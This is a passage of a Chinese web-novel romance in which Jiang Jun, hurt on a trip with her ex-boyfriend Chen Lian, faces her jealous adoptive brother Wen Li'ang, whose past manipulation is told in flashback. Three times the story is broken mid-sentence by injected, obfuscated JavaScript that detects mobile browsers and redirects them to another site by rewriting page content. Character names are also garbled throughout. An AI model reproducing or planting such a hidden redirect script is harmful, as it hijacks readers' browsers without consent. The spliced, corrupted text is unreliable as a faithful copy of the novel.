他本就长得高,这下视野更加清晰,一点遮挡都没有。“爱你,“她一边拿出手机拍视频,开心地说了句,“我的男朋友果然是全世界最帅最好的男朋友。”看不见他的表情,但他似乎轻笑了声。 那天,她就这么坐在陈班的肩膀上看完了那个乐队的表演。 虽然这人娇生惯养,性格差劲,但好像很多事,只要她要求他都会答应。 她又想起了那天俞诗荞对她说的:“而且,那个把他甩了的还是他初恋呢,也不知道是不是因为这事,他没再谈过恋爱了。” 姜筠心里一惊:“他、他没再谈过恋爱了?”“是啊,"俞诗荞有些幸灾乐祸的意思,“你说他是不是被那个女孩伤得太深了?” 以他的家世样貌,甚至不需要他主动就能轻易吸引到优秀的异性。 那时候还在学校,就有不少女生向他示好。可他却没再谈过恋爱了。 想到这,姜筠渐渐松开了勾住陈琏脖子的手。也许是因为想到了以前的事,她心乱了,没法再像刚才那么心无旁骛。 就在十分钟前,她还能把他定性成一位路过的平时爱做点好事的热心心人,可现在,她清楚地感知到他的身份是前男友。 “你还是放我下来吧。“她闷声说,语气很坚决。陈班停下脚步,皱眉:“又怎么了?” “没什么,你放我下来就是了。” 她又强调了一次。 直到看到不远处有一家药店,陈琏当下了然。以为她是要让他去买药,他弯腰,把她放了下来。“那你在这等我一一” 他话还没说完,下一秒,姜筠就朝在马路对面阁楼上的阿黄使劲地招手。 “阿黄!阿黄!” 她大声喊着,那急迫的样子就跟遇到了救星似的。陈班的脸色立刻变了,声音一室。 “你喊他干嘛?” 姜筠说:“我让他背我过去。” “你疯了?“陈班太阳穴突突地跳着,他努力控制自己的情绪,“你让一个陌生的男人背你?” 姜筠沉默了。 她在心里吐槽, 比起他,你才是那个陌生的男的。 但话当然不能这么说,不然接下来那十几天的行程她就完了,指不定他会怎么折腾她。 “刚才太麻烦你了,而且你不是还要继续比赛吗,我不想耽误你太多时间,我让阿黄扶我过去南门就行,刚才特别谢谢你。” 她的语气客套中带着些许真诚,她眨巴着眼睛看向陈班,与此同时,阿黄也已经从阁楼下来,往这边走。陈班没说话,那张完美得挑不出瑕疵的脸上没有任何多余的表情,他只是意味不明地看了她一眼,看得她心里发毛。 陈班转身离开时,正好阿黄迎面走来,两人擦肩而过。刚在姜筠面前站定,阿黄就打了个寒颤。 阿黄忍不住回头看了眼陈班的背影:“我怎么觉得陈先生刚才看我的眼神……不太对劲。” 说是"不对劲”还是有点轻了,那眼神冷得简直像块冰。“没有,你看错了。“姜筠赶紧糊弄过去,“他不一直都是这种表情吗?” ………也是。” 走近,阿黄这才看到她半撑在旁边的栏杆,右脚没沾地。 “你的脚,怎么了?“他问。 姜筠看向他手里的地图:“你集了多少个章了?”阿黄:“七个。” 姜筠眼睛转了转,她没记错的话,陈班刚才也是集了七个章。 为了不耽误他的进度,姜筠连忙催促。 “你先背我到南门,其他的待会再跟你说。”“行。” 阿黄立刻蹲了下去。 姜筠和阿黄搭档过很久一段时间,之前在宿北大瀑布,路段险峻,也是阿黄背着她走过去的。大概是因为阿黄在她心里是没有性别的,所以她不觉得这样的肢体接触有任何问题。 去南门的路上,姜筠随便编了个理由,解释为什么陈斑刚才会出现在这。 阿黄感慨:“那陈先生人还怪好的,平时看着冷冷的,原来这么热心。” 姜筠额头冒汗,不敢接话。 南门附近有个凉亭,后面是一个人工湖,不少人都在那乘凉,姜筠也在那坐下,旁边有叔叔阿姨在打麻将,热闹得紧。 姜筠好奇,凑过去看了两眼,阿黄看她这兴致盎然的样子,应该也没什么事。 “那我走了?待会来接你。"他说。 “行,快去吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323243|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿黄走了,姜筠看了一会打麻将,又玩了一会手机,右腿脚踝还在隐隐作痛,姜筠揉了两下,貌似更痛了。她这下不敢乱动了,乖乖在原地等阿黄集完章开车过来找她。 中途,实在无聊,她给邹淑坋打了个电话。人就是这样,一生病就很想家。 摄像头刚打开,她就看到邹淑坋坐在沙发上看电视,背景里还能听见新闻播报的声音。 邹淑坋看了一眼墙上的时钟:“这会怎么有空给家里打电话?” “客人去景点里面玩了,我在外面等他们。”为了不让家里人担心,她没有说自己脚崴了的事,东拉西扯聊着家常。 “那阿黄呢?他没和你呆在一块?” “他、他去买水了,一会就回来,"姜筠卡壳了一秒,怕她再问下去要露馅,连忙转移话题,“你没有看到我昨天发的朋友圈么?怎么都不给我点赞?” 邹淑珍没好气地笑:“又发什么了?还跟小孩似的,天天要我点赞,不是在群里发一遍了么?”“在群里发了你也要给我点赞,"姜筠和邹淑坋撒起娇,把摄像头翻转,给她看远处的雪山,“这边风景可好看了,而且物价也不高,等你和爸爸有时间,我们也来这里旅游,好不好?” “再说吧,你爸都不知道要什么时候才能休假,你哥最近也忙得不行,昨天在书房忙到凌晨一点多才休息,”邹淑坋似乎不太感兴趣,抬头又看了眼时间,“"哎呀,都快五点了,不和你说了,我得去做饭了。” 姜筠正想挂掉,但镜头晃了几下,她看到天花板的吊灯在旋转,紧接着下一秒温礼昂的脸出现在屏幕里,异常清晰。 姜筠几乎屏住了呼吸。 紧张得像是他站在她面前。 与此同时,她听到了邹淑坋的声音。 “阿礼,你和妹妹聊两句,我先去做饭。”狭长的眼睛含笑,眉目深邃,屏幕里的温礼昂仍是那副温文尔雅的模样。 “在休息?” 他声音很轻,可她竞觉得他声音里有明显的笑意。“嗯。” “工作累不累?” “还好,“她开起了玩笑,“为了赚钱,还能忍。”原以为温礼昂会笑,但他听见后神色似乎变得凝重,沉默了一会。 姜筠以为他无话可说,但她还是不愿意就这么把电话挂了。 她把摄像头翻转回来,她喜欢看到她和他的脸出现在同一个屏幕上。 温 礼昂看到她的那一刻,眼底翻涌着情绪,似是有很多话想说,可最后他只是问她:“那里天气怎么样?”明明他每天都关心着这里的天气,可仍然抛出了这样的问题。 姜筠想起那天阿黄说的话,她觉得她越来越看不懂温礼昂了。 她忍不住反问:“你不知道吗?” 温礼昂愣了愣。 “前两天,你不是还提醒阿黄了么?"她不想再猜来猜去,她向来不擅长猜测。 屏幕那头的温礼昂克制着情绪,喉结动了动:“那天只是新闻刚好看到。” “仅是这样?"她再次确认。 “嗯。” 姜筠自嘲地笑了笑:“哦,我还以为你在关心我,所以每天都关注这里的天气呢,幸好我问了一下,不然我又自作多情了。” 温礼昂眼睑半垂,看不清眼底的情绪。 又是一阵沉默。 让人煎熬的沉默。 姜筠觉得无趣,正要把电话挂了,突然旁边的位置有人坐下一一 姜筠看到来人,眼睛瞪得浑圆。 一切发生得太快,她还没来得及反应,下一秒,陈琏闯入镜头,和她紧紧挨着。 “哥,好久不见。“陈班热情地和他打起了招呼,甚至还挑了挑眉。 屏幕对面的温礼昂显然也愣住了,刚才还温文尔雅的人抿紧了唇线,狭长的双眼冷得没有任何温度,屏幕外的左手攥握成拳。 片刻后,他听见陈班对姜筠说:“和我出来旅游能不能专心点,别总打电话。” 第二十一章 第21章第二十一章 电话就在这一刻被挂断。 没有一秒的犹豫,温礼昂立刻把电话重新打了过去。大脑混沌如同摄入酒精过多的酗酒者,昏昏沉沉,他无法再进行复杂的思考,他只是不知疲倦地打了一个又一个电话。 铃声也跟着响了一遍又一遍,可电话那头仍是无人接听。 不知过了多久,直到屏幕变暗,他看到了屏幕中他的倒影一一迷茫、无助、麻木,像一具被抽空的躯壳,失去了灵魂。 头痛欲裂,大脑有如利刃穿过,他无法再维持平时那副谦和有礼的面具。 陈班。 仅是想到这个名字,身体都有发冷的迹象,以及恐慌。那样熟悉的感觉再次席卷全身,好像有什么在轰然倒塌,顷刻间他好像失去了所有,心脏像被裹在保鲜膜里,封了一层又一层,从鲜活到压抑,再到无法跳动。手心渗出了汗,变得黏腻,想到刚才那通电话里陈班说的最后一句话,温礼昂手上青筋凸现,茶几上放着车钥匙,他起身抄起钥匙快步走了出门。 熟练地拨通助理的电话,让他订下最近一班去瑶甘的飞机。 说话时,温礼昂才发现他连声音都在发抖。那样的恐惧,就像几年前的那个下雨天。 记忆死灰复燃,闷得他喘不过气,进了电梯,他仰头望着楼层快速跳动的数字,眼睛渐渐失去焦距。陈班。 温礼昂想起了那个遥远又潮湿的下午,那是他第一次听到这个名字,从姜筠舍友口中。 那一年,姜筠读大二,他读大三。 他出国参加完比赛回来的那个周末,他没有直接坐飞机回学校,而是选择了沪市作为终点。 登机的前一天,他在酒店收拾行李,朋友就调侃他:“阿礼,又去沪市找你妹妹?” 想到姜筠的脸,他嘴角不自觉弯了弯,笑着点头。“嗯。” 朋友得意:“你看,我还真是一猜就中。”同寝的另一位室友说:“这还用猜,阿礼就是妥妥的妹控'',你没看到吗,他这次的奖学金全拿来给她妹妹买礼物了,昨天在Oxford Street逛了一整天,今天一看,果然行李箱里装的都是给妹妹的手信,曜子让他帮忙带的东西都装不下了,全塞我行李箱了。” “啧啧,以后她妹妹男朋友就遭殃了,起码要先过了阿礼这关才行。” 听到这,温礼昂敛住了笑容,手上动作顿了顿。回国那天,沪市下了小雨,淅淅沥沥的,下个不停,从车窗往外看,沿街都是五颜六色的雨伞。从机场离开,他打车到了姜筠学校附近。 从伦敦到沪市,直飞需要11个小时10分钟,他坐的是经济舱,仅是半程肌肉就变得酸痛难忍,但他想着省下来的钱可以给姜筠当生活费。 许是因为想到了见到她的场景,十多个小时的飞机,他竟毫无睡意。 说起来,他也有一个月没见姜筠了。 前段时间忙着准备比赛,周末抽不出时间,又在国外呆了快半个月。 不过奇怪的是,往常他出国,姜筠几乎每天都会给他打电话,有时一天好几个,可这一个月以来,她一共只给他打了两个电话,而他给她打过去,她也是聊了一会,很快就挂了。 他想,大概是临近期末,她忙着复习没有时间。虽是这么想,但心里还是有些不踏实,于是比约定好的时间提前了一周来学校找她。 他担心心的是她生病了,不想让他担心,所以瞒着自己,以前也有过类似情况,去年有段时间,他坐了两个小时的高铁来到她学校,但她不愿意见他。 后来才知道她是皮肤过敏了。 她在电话里委屈得快哭了,声音有明显的鼻音:“温礼昂,你干嘛未经我同意就来找我,我现在好丑,满脸都是疹子,连胳膊都是,你快回去,我不想见你。”想起以前的事,温礼昂眼神变得柔和。 可爱。 他常常会觉得她是可爱的,哪怕有时任性、娇气,可那任性是可爱的,娇气也是可爱的。 给姜筠发了消息,她却一直没回,他撑着雨伞在她宿舍楼下等了将近半个小时,直到她的舍友路过把他认了出来。 女孩站在宿舍屋檐下,目光在他身上停顿片刻,似在确认,然后撑伞朝他走过来。 “你是姜筠哥哥吧,我上次在学校门口见过你。”“是,"温礼昂点头,礼貌微笑,“你好。”“你是在等姜筠吗?"女孩仰头呆呆地看着他,试探性地问。 “对,她在楼上吗?是不是午觉还没睡醒?"他声音不自觉染上了笑意。 女孩摇头,眨了眨眼:“不是,她没在宿舍呢。”“那你知道她去哪儿了吗,给她发了消息,她可能还没看到。” 那女孩欲言又止,似乎有些为难。 “也不知道和你说这个好不好。” 温礼昂嘴角还维持着礼貌得体的笑。 “怎么了?” 女孩犹豫了一会,还是开了口。 “筠筠这学期搬出去和男朋友一起住了,她没告诉你吗?” …什么?” 天边雷声骤响,他的质疑也被吞没在雨天。只是血液在快速冷却,握着雨伞的右手松了松,温礼昂脸色 发白,视野摇晃了几秒,他甚至以为是自己出现了幻听,再次确认。 “她交男朋友了?” “是啊,金融班的陈琏,"女孩没察觉出他的异样,还在继续往下说,“在一起快三个月了,她没告诉你吗?”那是他第一次听到陈班的名字。 眼球处似乎有什么压迫着神经,他视线忽然无法对焦,拿着礼物的手止不住地发抖,雨丝渗进眼眶,眼角的红血丝此刻显得有些触目惊心。 “那你知道他们住在哪吗?“温礼昂声音变得沙哑。那女孩很热心:“我之前去过一次,就在馥馨路那边,要不我们加个微信,我把具体的定位发给你。”就这样,他拿到了陈班公寓的地址。 天边雷声沉闷,雨势却有变大的迹象,女孩看到他被淋湿的衬衫,好心心提醒。 “姜筠哥哥,要不你先躲一会雨吧。” “不用了,谢谢。” 他脚步匆忙,像是为了验证什么,此刻他无比希望那个结果是错的,至少、至少不能全部都吻合。可这一路上,他却想起了很多细节。 五分钟就结束的通话、避而不谈的校园生活、房间里新买的化妆品和衣服…… 五一假期,姜筠回家拿起手机聊天的频率高了许多,有时吃饭也会下意识拿起手机看几眼,一边回复消息一边看着手机屏幕时不时傻笑。 他当时还以为她在和陶影聊天。 以及,有天,她问了他一个问题。 “我之前感冒,你买给我的那个感冒药叫什么名字,就那个黑色的胶囊,挺有用的。” “怎么,你感冒了?“他担心了起来。 她摇头:“不是不是,我有个朋友感冒了,那个人一点都不会照顾自己,我想说给他买了送过去。”他当时没多想,告诉了她药名。 然后,他看到她点开了某个线上买药的APP,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门打开,姜筠的脸出现在门后,她身上还穿着睡衣,睡眼惺忪,像是刚睡醒。 温礼昂心里悬着的线终于断了,在胸腔里发出空旷又刺耳的轰鸣。 姜筠站在他面前,只是很平静地看着他,什么都没说。雨还在下。 温礼昂勉强挤了个笑容:“你交男朋友了?”“嗯。“她点头。 第一个问题得到确认,还有第二个。 “你们同居了?” 姜筠愣了愣看向他,继而点头。 ………是。” 眼底的光悉数黯淡,温礼昂忽然不知道该说什么了,指节已经攥得发白,浑身上下的血液像在倒流。他一眨不眨地盯着她的脖子,难以置信地皱了皱眉,姜筠知道他在看自己脖子上的吻痕,勾了勾嘴角。“哥是不是还想问我,是不是和他发生关系了?”温礼昂突然希望自己失聪,如果他什么都听不见的话,兴许就不会听到她接下来这句话。 他听见姜筠笑着说:“是,我和他发生关系了,我也想知道做/爱是什么样的感觉,你不肯和我做,我就想试试和别人做,哥,你和你的前女友应该也做过吧。”温礼昂气得浑身发抖,脖子上青筋尽显。 “你不喜欢他,怎 么能和他做这种事?” “如果我说我喜欢呢?“她下意识反驳他,仰头望向他的眼睛里有挑衅的神色,“哥,我好像真的有点喜欢他了,怎么办?” 第二十二章 第22章第二十二章 “喜欢”这个词,温礼昂曾从姜筠口中听过无数遍。“温礼昂,我喜欢你衣服上的味道。” “温礼昂,我喜欢你打篮球的样子。” “温礼昂,我喜欢听你说话。” “温礼昂,我喜欢你喊我阿筠''。” “温礼昂,我喜欢你。” 可这一次,她站在他面前,说她喜欢上了另一个人。眼睛忽然发酸,喉咙变得干涩,提着礼物的右手被勒出了红痕,温礼昂曾以为经历过幼时那些变故后没有什么是他无法承受的,可原来在这个世界上仍有他不愿意接受的现实。 此时此刻,她明明站在他对面,可却像是隔着千山万水、无数个日日夜夜。 她的眼神坦荡,坦荡得让他心慌。 他很想问她,为什么。 为什么会喜欢上另一个人。 可当初拒绝她的那个人,是他。 让她伤心难过的那个人,也是他。 半响,他说不出一句话,只是木讷地站在原地。姜筠苦笑了声:"哥,我最近发现了一件事,原来由性而爱是真的,你说会不会同居得越久,我会越来越喜欢这个人?” 姜筠还在继续往下说,可温礼昂实在无法再冷静下去,右手攥着她的肩膀,喊她的名字:“阿筠一一”“怎么了?“姜筠看着他的眼睛,低声说道,“温礼昂,你上次说了那么多,有句话我听进去了,你上次不是告诉我你是因为我爸妈对你好,你才对我那么好的吗?你甚至不是因为我是我才对我好的,你只是因为我爸妈对你有恩,你才对我那么好。你把零花钱给我,是因为想讨好我爸妈,你给我补习功课,你半夜出门给我买好吃的,你做了这么多,都只是为了融入这个家…… “不是这样的。"温礼昂立刻否认,声音几近哽咽。明明是他自己编织的谎言,此刻却想亲口戳破。“那你说,你是为了什么一一"姜筠眼底似乎又燃起了希望,她仰头看他,静静地等着他的答案。沉默的这几秒,他很想告诉她,他的自卑、他的顾虑、他的考量,也想告诉她关于他的家庭,当年姜父姜母为了保护他的自尊心,从未告诉过她真相,只用“家中变故”四个字便掩去了所有原因。 千言万语,话到了嘴边,他什么都说不出来。雨越下越大,雷声在天边炸开,乌云笼罩大地,一切都预示着暴雨将至。 这一场对峙最后是被陈班打断的。 脚步声由远及近,陈班手持黑色长柄雨伞从雨幕中走来,裤腿处有被雨水泅湿的痕迹,球鞋鞋面沾上了泥土,他另一只手提着两份刚从餐厅打包回来的食物。伞下的少年站在屋檐处,眼神警惕且锐利地看着自己,以及他手里的行李箱,片刻后,他走了过来,挡在姜筠面前。 陈班语气不善:“你是谁?” 温礼昂尚未开口,姜筠就扯了下陈班的衣袖:“我哥,他刚从国外比完赛回来。” 从前她总不愿意喊他“哥”,但却在这个人面前喊了出囗。 温礼昂心在往下沉。 听见姜筠的话,陈班这才放下了防备心,对他也热情了少许,勉强冲他笑了笑,但姿态总归还是傲慢的,这几年,温礼昂遇到了形形色色的人,从衣着、谈吐来看,他知道这人家境非富即贵,连姜筠脚上穿着的那双拖鞋都是奢侈品。 温礼昂望向自己手上提着的礼物,他在想,他攒钱买下的这些礼物,她还需要吗?他对她的好,她还需要吗?许是从这一刻开始,他发誓,他以后一定要出人头地,他要有能力给姜筠所有最好的。 片刻后,陈班邀请他进门。 “进来坐会吧。” 门敞开,温礼昂站在门口停顿了许久,理智告诉他不该进去,无疑那将会是一场更为漫长的凌迟,可他又忍不住猜想,猜想他们生活的细节。 姜筠站在门口,没出声,眼睑低垂,直到陈班牵着她的手,把她带进屋里。 “外面冷,别着凉了。” 姜筠的注意力放在他手里提着的打包盒:“你买了什么?” 陈班没好气地说:“反正,都是你爱吃的。”“外面雨这么大,你怎么不躲一会雨?” 陈班勾了勾唇:“你不是饿了吗?待会饿坏了又要发脾气。” 姜筠作势打他:“我哪有?陈班,你别抹黑我。”两人交谈的语气亲密熟稔,温礼昂成了彻头彻尾的局外人。 忽然,姜筠回头看他,脸上没有任何表情,也看不出任何情绪。 她说:“哥,你不进来吗?” 最后,他还是进了门。 公寓看起来像是刚装修好的,可却充满了生活的痕迹。情侣杯子、情侣跑鞋、情侣抱枕,所有生活用品都是双人份的,从这些生活物件,他都能推测出他们生活的画面。 玄关处放着的手工陶艺花瓶,一看就是出自姜筠之手,表面粗糙,瓶身歪歪扭扭的;书架上一堆专业书里夹杂着几本漫画书,和家里的是一套;冰箱上贴着小纸条,是姜筠的字迹:【某人买的酸奶过期了还没喝完,扣10分,罚款200),右下角还画了一个得意的笑脸……他太了解姜筠,甚至都能看出来哪些家具是她添置的。“温礼昂,以后我们毕 业后住在一起,我一定要买那种可以躺在上面看电视的摇摇椅。” 此刻,他在客厅里看到了她所说的那种摇摇椅,上面铺着一层白色的柔软的毯子。 酸涩感填满了胸腔,那些他曾想象过的画面,在他还没做到之前,她和另一个人实现了。 温礼昂望向站在客厅中央的姜筠,她身上穿着轻薄的丝质吊带睡衣,露出胸前大片的皮肤。 “上楼,把衣服穿好。"陈琏催促姜筠上楼换衣服。话语熟悉,温礼昂心里一窒。 从前家里来客人时,他也会这样对姜筠说。此情此景,他成了那个需要避嫌的人。 他看到姜筠撇嘴应了声。 “好吧。” 说完,姜筠转身上楼,他看到她的背影,以及脖子上红色的吻痕。 姜筠上了楼,客厅只剩下他和陈班两个人。陈班右手搭在沙发上,随口说道:“她昨晚熬夜玩游戏,吃了午饭又睡了,这会估计刚睡醒。”温礼昂勉强挤了个笑容:“嗯,她在家也是这样,坏毛病很多。” “不让她玩游戏,她还要生气,"陈班提起姜筠时,嘴角带着笑,“早上把她哄好了,下午才又睡了一会。”“嗯。” 嘴唇渐渐失去血色,温礼昂只能维持表面的笑容。没有任何一刻比现在让他更清醒地意识到,姜筠和另一个人在一起了,他们在一起生活,甚至有了属于他们的回忆。 正对着沙发的电视柜旁放着陈班的照片,像是徒步时拍下的,照片构图的角度很熟悉,是姜筠常用的角度,旁边的日历放着台式日历,他留意到在这个月的最后一天画了个红圈。 突然,陈班想到了什么,开口:“其实,之前姜筠有和我提过,她有一个哥哥。” “是么?“温礼昂竟紧张了起来,“她怎么说的?”“她说,她的择偶标准是要找一个像她哥对她那么好的人。” 空气变得稀薄,连呼吸都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323245|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得困难,温礼昂眼睛止不住地发酸。 终究是无法继续在这里呆下去。 他把提着的礼物放到地上:“我待会还有事,这是给她买的礼物,你帮我转交给她吧。” 离开时,雨势仍未见小,地上坑坑洼洼,倒映着路灯的影子,温礼昂沿着这条路一直往下走,在街角的一家便利店前停了下来。 他进门买了一包烟。 他就是在这一天学会抽烟的。 从前令人厌恶的味道,此刻却令人沉迷。 可那些焦躁不安、那些压抑愤懑,似乎并未随着烟雾消散在雨天的空气里。 也是在这一天,他知道了心痛到快要痉挛的感受。那天之后,几乎有半个月时间,他没有再联系姜筠,她发来的消息他也并未回复。 但她朋友圈还在持续不断地更新。 温礼昂悲哀地想到,正是因为他见过她喜欢自己的样子,所以,他很确定,那天她说的话不是为了气他。她是真的喜欢上那个叫陈班的人了。 那些扭曲阴暗、不能被他人窥见的想法在大脑里回旋了无数遍,似要破土而出。 直到这个月的最后一天,那天一早,姜母照常给他打来电话,一接通,他就止不住地咳嗽。 姜母在电话那头担心得不行:“你这孩子怎么回事,怎么病成这样?” “没事,可能有点发烧。"他嗓音沙哑。 “这还没事,嗓子都哑了,测温度没有,多少度?”“还没。” 邹淑坋着急:“你快测了温度,发给我看看。”挂了电话,他给姜母发了体温计的度数,刻度停在39.6°C。 邹淑坋发来语音:【这都高烧了,还说没什么,你现在感觉怎么样,吃药了没?待会记得去医院看看,听话哦,别跟你爸那么倔。】 他回:【嗯,好。】 邹淑瑜似乎还是不放心:【你这孩子和我总没句实话,别又为了省钱自己在那硬扛,下午我让小筠去看看你,让她给你带点药过去。】 目的达到,温礼昂在键盘上打字:【不用了,小筠最近那么忙,好不容易周末能休息。) 邹淑坋:【再忙也没有你的身体重要,平时都是你照顾她,刚好是周末,让她也照顾照顾你。】那天下午五点,出租屋的门被敲响。 姜筠一脸着急,站在门外,手上提着从某个药房买过来的几盒药。 看到她为自己担心,他的心竟莫名安定了下来。那天晚上,姜筠出门接了好几个电话。 不到二十平的小房子,连门外的声音也听得一清二楚,虽然开着电视,但温礼昂仍能听见姜筠对着电话那头说“我没在宿舍,我去……北城了。” “我哥生病了,我妈让我过来看看,他发烧了,差不多40°C,很严重。” “我出门太急,忘记告诉你了,而且我手机静音了,我不知道你在找我,你别生气嘛。” “我下次再陪你过生日,好不好?” “怎么我说什么你都不信。” “陈班,你非要这么想,我也没办法。” 姜筠生气地挂断了电话。 回到出租屋,姜筠一言不发坐在沙发上,他看到她反复点开某个人的聊天页面,打了一行字,然后又摇头把消息全部清 空,紧接着把那个人的消息设为“不显示聊天”。手机就这样被她反面盖在沙发上。 他们吵架了。 温礼昂嘴角勾勒出淡淡的笑意,眼底有回暖的迹象。那天,他终于睡了一个好觉。 第二十三章 第23章第二十三章 发烧彻底痊愈后,他去了一次姜筠的学校。去之前,他并未让她知晓。 图书馆里,他就坐在她后侧方的位置。 隔着不远不近的距离,他看到姜筠看着那个人的聊天窗口发呆,他看到她拿起手机又放下。 他忽然希望他不那么了解她。 这样他就不会知道此刻她是因为想找对方又拉不下脸,于是在这里反复纠结。 她在乎那个人。 这个认知让他感到心慌。 在此之前,他原本认为他可以接受她和别人谈恋爱,但需要把他放在第一位,他希望她永远是姜筠心心中特别的人,但他错了,又或许是姜筠处理问题的方式太偏激了,为了刺激他,竞能和别人同居。 他不得不做些什么。 他自私地希望,在一切还没明朗之前,他还能拥有她的偏爱。 起码不要那么快,不要那么快被另一个人取代他的位置。 不过,姜筠和陈班之间的冷战比他想象的时间要短。不到半个月他们就和好了,因为他看到姜筠的微信头像又换回了情侣头像,手机壳也是。 烟盒里的香烟随着日历揭过渐渐减少,温礼昂开始依赖起尼古丁的味道,淡淡的烟碱味,停留在舌尖只剩苦涩。从前他父亲爱抽烟,经常一根接着一根,他曾发誓绝不和他一样,但现在,他变成了他最厌恶的那种人。连室友也感到意外。 “阿礼,你怎么开始抽烟了?之前实验压力那么大,你都不带碰的,这是遇到什么事了?” “没什么,只是好奇。” 简单几个字揭过。 室友随后打趣:“你妹妹要是知道,肯定要说你。”他眼神暗了暗,只笑不语。 那天晚上,他在出租屋里彻夜未眠,他想清楚了一件事一一 在照顾她和给陈班庆祝生日之间,她最后选择的人是他。 兴许她现在同时喜欢两个人,但显然他优先级更高,不然她不会得知他生病了不顾一切地赶过来。温礼昂眼底的阴霾终于散开,嘴角有了笑意,他好像知道接下来该怎么做了。 从那天起,他开始不回姜筠消息,不听她电话,也不去学校找她,他对她冷淡如同陌生人。 断崖式失联。 但姜母却在和姜筠的通话中提起他越来越多,这也在他意料之中。 他知道他很卑鄙,但他不能走错接下来的每一步。暑期的最后一周,她和陈班旅游结束回家。在二楼的客厅,她喊住了他,堵在他面前。“温礼昂,你为什么躲着我?” 彼时,距离上一次见面已经过了将近两个月。“还有,你为什么把我以前给你拍的照片全都还给我了?” 她回到家,发现房间的书桌上放着一沓厚厚的照片,从她高中买到第一部相机开始,所有和他有关的照片全都在里面。 那些本来不够明晰的记忆又重新唤醒在脑海里,那些照片横跨了十年的时间,他相信没有人看到那些照片会没有感触。 他在提醒她,他们曾经经历了什么。 果然,姜筠眼眶有些泛红。 “你有男朋友了,我理应和你保持距离,不然你男朋友也会介意。"他说。 “一定要到这种程度吗?"姜筠仍是不解,眼神只剩倔强,“连过去的照片都要全部还给我。” “嗯,"温礼昂看着她的眼睛,眼底酝酿着情绪,“阿筠,不管你是为了气我,还是真的喜欢他,我都希望你幸福。” 姜筠眼底露出了纠结的表情,她似乎在思考。距离飞机起飞还有一个小时,温礼昂长腿交叠,坐在贵宾休息室阅读财经杂志。 耳机里《艾斯特庄园的水的嬉戏》播放到尾声,他刚摘下耳机,听见身后似乎有人正在讨论他一一“还是别了,你看他手上戴着那个黑色的编绳,肯定是有女朋友了。” “别想那么多,你去嘛,万一没有呢?” “……不好吧。” “你不去,我可就去了啊。” 温礼昂当下心里了然,放在杂志上的手停顿了片刻。果然没一会,有人走到他跟前,女孩脸上泛着红晕,小声和他搭话。 “你好,请问你也是要去瑶甘吗?” 他放下手里的杂志,点头。 “你是自己一个人去吗?"女孩看到他的脸,变得更紧张,刚刚还只是匆匆一瞥,没想到近看更为英俊,说话都开始卡壳,“要不要和我们一起组队?我朋友之前去过一次,对那边也比较熟悉。” 温礼昂当作不清楚她的意图,拒绝得温和,事实上,他应对这些场面已是游刃有余。 “可能不是很方便,我女朋友会有些介意。”女孩赧然,眼底失落:“对不起,打扰你了,我以为您是单身。” 他礼貌微笑:“没事。” 一段小插曲过后,他靠在沙发假寐了一会,随后点开了姜筠的微信。 最后一条消息还停留在: (温礼昂,这次我是认真的,我绝对绝对不会再主动把你加回来了。】 【阿筠,别闹。】 他回复时屏幕上已经显示了红色的感叹号。他忘记这是他第几次拒绝她,也忘记这是 第几次她把他的微信彻底删除,当时,他并未有太强烈的情绪以及感触。 只是这一次不一样,那个人又出现了。 其实恢复冷静后,他大致还原了事情的本貌,知晓陈班不过只是这趟旅程的客人,但北城距离瑶甘两千多公里,而那是曾经让她动摇过的人。 哪怕姜父姜母此刻还在他的公寓里,可他顾不了那么多,他没有一刻能放下心来。 他不知道自己为何会这样做,他只知道此刻他必须在姜筠身边。 但这时,机场突然开始播放广播,刚听了个开头,温礼昂眉头就皱得很深,与此同时,他手机弹出消息:【尊敬的旅客,非常抱歉地通知您由于天气原因,本次由首都国际机场飞往瑶芋机场的航班已取消,在此深表歉意。有任何疑问,可前往值机柜台询问,不便之处请见谅。】 天边雷声滚滚,夹杂着闪电,姜筠从房间窗户往外看,黑压压的一片,宛如世界末日。 她赶紧把窗户锁上,又拉上窗帘,只是那雨声听起来仍旧骇人得可怕。 天气预报铺垫了几天的大雨果然来势汹汹,傍晚时分,大雨倾盆,雨点如同石头往下砸,在车窗上晕开大朵的水花,雨势实在太大,车辆都寸步难行,他们只好在附近找了家酒店落脚。 预定好的酒店无法取消,俞诗荞说由他们来承担这部分费用,阿黄本来还想和酒店争执一番,听见这才放弃了这个念头。 这还是第一次他们四个人住在同一家酒店。不过陈琏和俞诗荞住在楼上的观景房,她和阿黄则住在标间,房间不大,就十五平米左右。 姜筠刚上好药,拧紧药膏,群里就弹出阿黄的消息:【晚饭我买回来了,大家来楼下的餐厅一起吃吧。@Jin @圆圆的桥@姜筠】 这头换好衣服,阿黄就来敲响她的房门,扶她下楼。脚上的伤仍未有丝毫好转的迹象,她走路一跛一跛的,像个鸭子。 